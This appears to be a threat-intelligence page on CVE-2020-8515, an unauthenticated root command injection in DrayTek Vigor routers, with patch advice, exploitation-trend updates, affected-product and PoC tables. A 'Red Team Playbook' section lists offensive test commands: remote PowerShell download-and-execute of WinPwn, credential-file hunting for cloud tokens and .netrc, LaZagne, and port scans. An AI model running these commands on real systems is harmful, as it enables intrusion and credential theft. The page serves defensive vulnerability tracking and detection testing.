CVE-2020-8515
Overview
This vulnerability is a command injection flaw caused by improper input sanitization of shell metacharacters in HTTP requests. The affected component is the web management interface's CGI script located at /cgi-bin/mainfunction.cgi on specific DrayTek router firmware versions. The flaw allows crafted input to be executed by the underlying shell with root privileges, bypassing authentication mechanisms.
Vulnerability Description
DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI. This issue has been fixed in Vigor3900/2960/300B v1.5.1.
Impact
An attacker can execute arbitrary commands on the affected devices as root without any authentication or user interaction. This enables full compromise of the router, including unauthorized access to network traffic, configuration manipulation, and potential lateral movement within the network. The vulnerability allows attackers to control the device and access sensitive information stored or transmitted through it, leading to severe business impact such as network disruption and data breaches.
Solution
Upgrade affected DrayTek devices to firmware version 1.5.1 or later for Vigor3900, Vigor2960, and Vigor300B models as specified in the vendor's security advisory. Detailed patch instructions and updates are available at the official DrayTek security advisory page: https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515). No alternative workarounds are recommended by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability affecting specific DrayTek Vigor router models is characterized by a critical flaw that allows for remote code execution as root without any authentication. This issue arises from improper handling of input in the cgi-bin/mainfunction.cgi URI, where the use of shell metacharacters can be exploited by an attacker. By crafting a specially designed request, an unauthorized user can execute arbitrary commands on the device, effectively gaining full control over the router's operating system. This flaw is particularly severe due to the lack of authentication, which means that any attacker with network access can exploit it without needing to bypass any security measures.
The attack vectors for this vulnerability are straightforward, as they primarily involve sending crafted HTTP requests to the vulnerable devices. An attacker could leverage this weakness from within the same network or potentially from the internet, depending on the router's configuration and exposure. Once the attacker successfully executes arbitrary commands, they could manipulate the router's settings, intercept traffic, or even pivot to other devices on the network. Exploitation scenarios could range from simple denial-of-service attacks to more sophisticated intrusions, where the attacker establishes a foothold within the network for further malicious activities.
The real-world impact of this vulnerability is significant, particularly for organizations relying on these routers for their network infrastructure. Given the critical nature of routers in managing network traffic and security, a successful exploitation could lead to severe business risks, including data breaches, loss of sensitive information, and disruption of services. For businesses that handle sensitive customer data or operate in regulated industries, the consequences could extend to legal liabilities and reputational damage. Furthermore, the ease of exploitation means that even less sophisticated attackers could potentially compromise affected devices, increasing the overall threat landscape.
To detect and mitigate this vulnerability, organizations should prioritize updating their devices to the latest firmware version, which addresses the flaw. Regularly reviewing and applying security patches is essential to maintaining the integrity of network devices. Additionally, implementing network segmentation can help limit exposure by isolating vulnerable devices from critical systems. Monitoring network traffic for unusual patterns or unauthorized access attempts can also aid in early detection of exploitation attempts. Employing intrusion detection systems (IDS) and firewalls configured to block suspicious requests directed at the vulnerable URI can further enhance security posture.
In conclusion, the vulnerability in the DrayTek Vigor routers represents a critical threat that can lead to severe consequences for affected organizations. Understanding the technical details, potential attack vectors, and real-world implications is crucial for cybersecurity professionals tasked with protecting network infrastructures. By adopting proactive detection and mitigation strategies, organizations can significantly reduce their risk exposure and safeguard their networks against exploitation.
CSURFACE threat intelligence has identified a marked escalation in activity related to CVE-2020-8515, highlighted by the emergence of multiple new proof-of-concept exploits and the publication of an official ExploitDB entry. Our telemetry indicates that exploitation attempts targeting vulnerable DrayTek devices have increased significantly, coinciding with the vulnerability’s addition to the CISA KEV catalog and the assignment of a critical CVSS score of 9.8. The elevated EPSS score further underscores the heightened likelihood of exploitation in operational environments. This shift materially increases the threat level, as adversaries now have accessible, publicly available tools to facilitate remote code execution without authentication, amplifying the risk of widespread compromise. Defenders should recognize that the vulnerability has transitioned from theoretical to actively exploited, necessitating urgent prioritization in vulnerability management and monitoring strategies.
Update 2 — April 16, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2020-8515, with our telemetry indicating a sustained increase in malicious activity leveraging this vulnerability. This surge is accompanied by the continued availability and refinement of publicly accessible proof-of-concept exploits, which lowers the barrier for adversaries to execute unauthenticated remote code execution on vulnerable DrayTek devices. Although the EPSS score remains stable, the qualitative rise in detection frequency signals a shift from opportunistic scanning to more persistent exploitation efforts. This evolution heightens the operational risk, as threat actors can achieve root-level access remotely without authentication, potentially enabling lateral movement, data exfiltration, or deployment of secondary payloads. Defenders should interpret this trend as an escalation in threat actor capability and intent, underscoring the criticality of timely patching and vigilant network monitoring to detect exploitation attempts before they culminate in compromise.
Update 3 — July 03, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2020-8515, with our telemetry indicating a sustained increase in scanning and attack activity against vulnerable DrayTek Vigor devices. This surge corresponds with the continued availability and refinement of publicly accessible proof-of-concept exploits, which have lowered the barrier for threat actors to conduct unauthenticated remote code execution as root. The persistence and frequency of these attempts suggest a shift toward more aggressive and automated exploitation campaigns, increasing the likelihood of successful intrusions. Consequently, the operational risk associated with this vulnerability has intensified, as adversaries can leverage it to establish footholds, escalate privileges, and potentially deploy secondary payloads within affected networks. This evolving threat landscape elevates the criticality of monitoring for exploitation indicators and reassessing defensive postures, as the probability and impact of compromise have grown in tandem with the observed activity.
Affected Products (5)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Draytek | Vigor2960 Firmware | 1.3.1 |
cpe:2.3:o:draytek:vigor2960_firmware:1.3.1:beta:*:*:*:*:*:*
|
|
|
Draytek | Vigor300b Firmware | 1.3.3 |
cpe:2.3:o:draytek:vigor300b_firmware:1.3.3:beta:*:*:*:*:*:*
|
|
|
Draytek | Vigor300b Firmware | 1.4.2.1 |
cpe:2.3:o:draytek:vigor300b_firmware:1.4.2.1:beta:*:*:*:*:*:*
|
|
|
Draytek | Vigor300b Firmware | 1.4.4 |
cpe:2.3:o:draytek:vigor300b_firmware:1.4.4:beta:*:*:*:*:*:*
|
|
|
Draytek | Vigor3900 Firmware | 1.4.4 |
cpe:2.3:o:draytek:vigor3900_firmware:1.4.4:beta:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Multiple DrayTek Products - Pre-authentication Remote Root Code Execution | 0xsha | remote | linux | - | View |
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
imjdl/CVE-2020-8515-PoC
CVE-2020-8515-PoC
|
imjdl | 14 | 9 | 2020-03-30 | View |
|
darrenmartyn/CVE-2020-8515
Draytek CVE-2020-8515 PoC
|
darrenmartyn | 5 | 4 | 2021-09-01 | View |
|
truerandom/nmap_draytek_rce
nmap script to detect CVE-2020-8515 on Draytek Devices
|
truerandom | 3 | 2 | 2020-03-31 | View |
Threat Feed
20 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
41%
|
High | High | |
| CAPEC-6 | Argument Injection |
40%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-8515 |
| sku11army.blogspot.com |
GitHub CVE
x_refsource_MISC
|
https://sku11army.blogspot.com/2020/01/draytek-unauthenticated-rce-in-draytek.html |
| draytek.com |
GitHub CVE
x_refsource_MISC
|
https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-%28cve-2020-8515%29/ |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/156979/DrayTek-Vigor2960-Vigor3900-Vigor300B-Remote-Command-Execution.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-8515 |